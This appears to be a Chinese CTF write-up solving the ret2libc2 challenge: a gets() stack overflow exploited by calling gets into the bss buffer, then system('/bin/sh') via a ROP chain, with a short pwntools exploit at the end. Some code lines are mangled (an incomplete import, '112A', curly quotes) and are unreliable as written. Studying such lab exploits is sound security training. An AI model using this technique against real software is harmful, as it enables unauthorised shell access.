首先file一下 可以看见是动态链接
然后看看有没有开什么保护措施,开了nx 
让我们放到ida里面看看主函数
很明显的get函数造成的栈溢出
偏移和之前的是一样 就不分析了 , 是112字节
shift + f12 看看字符串
可以发现没有/bin/sh
但是由于binary已经动态调用过system函数,这个时候已经延迟绑定好了 所以存在system函数的plt表项
于是我们有个system_addr=0x8048490
现在总结一下
1.有system()函数
2.没有/bin/sh
因为没有/bin/sh,于是我们看看函数setvbuf(_bss_start, 0 ,1 ,0)想着也许可以把/bin/sh写到bss段,要将它写入bss,再把/bin/sh的地址作为system的参数被调用,正好bss段有个buf2[100]的数组(我们可以手动把shellcode输入进去,然后存放进bss段里面,最后把这个bss地址传给system来调用shellcode)
这里可以知道buf2的地址
buf2_addr = 0x804a080
如何让程序把/bin/sh写到buf2里面去呢 这里可以用到gets函数
gets函数的地址我们知道 所以
gets_addr=0x8048460
现在我们的思路就是
我们执行完gets函数之后,栈顶是我们的bin_sh_addr,我们在执行system_addr之前需要先把参数弹走平栈,我们需要找到一个pop | ret,我们就可以利用
ROPgadget —binary ret2libc2 —only ‘pop|ret’
0x0804872f : pop ebp ; ret0x0804843d : pop ebx ; ret任选一个都行
这里我就选 pop_addr = 0x0804872f
那么我们来总结一下写exp得思路
1.首先112字节构造栈溢出,目的是用gets函数覆盖返回地址,再次调用gets函数
2.再次调用gets函数的 目的就是为了去往bss段写入/bin/sh
3.将gets函数的返回地址 设置为system函数的地址
4.调用system函数 把/bin/sh当参数传入 拿到SHELL
EXP
from pwn import
sh = process(‘./ret2libc2’)
system_addr=0x8048490
gets_addr=0x8048460
pop_addr = 0x0804872f
buf2_addr = 0x804a080
payload = flat([112A, gets_addr, pop_addr, buf2_addr, system_addr, 0xdeadbeef, buf2_addr])
sh.sendline(payload)
sh.sendline(‘/bin/sh’)
sh.interactive()
